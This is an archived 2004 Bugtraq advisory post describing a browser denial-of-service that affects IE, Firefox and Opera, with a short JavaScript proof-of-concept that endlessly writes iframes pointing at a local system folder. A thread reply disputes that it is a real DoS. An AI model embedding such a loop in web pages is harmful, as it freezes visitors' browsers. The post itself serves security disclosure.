Bugtraq mailing list archives
IE, Firefox, Opera DoS
From: <exploits () su1d net>
Date: 21 Aug 2004 20:41:46 -0000
Description
========
Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or
unsupported" over and over
POC
===
URL : http://www.su1d.net/iframe2.html
<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>
Discovered by MeFakon from the su1d exploit development team
Current thread:
- IE, Firefox, Opera DoS exploits (Aug 23)
- Re: IE, Firefox, Opera DoS Dan Pixley (Aug 24)
- RE: IE, Firefox, Opera DoS GulfTech Security (Aug 25)
- RE: IE, Firefox, Opera DoS (*not* a DoS, not even close) Steve R (Aug 27)
- RE: IE, Firefox, Opera DoS GulfTech Security (Aug 25)
- Re: IE, Firefox, Opera DoS Dan Pixley (Aug 24)
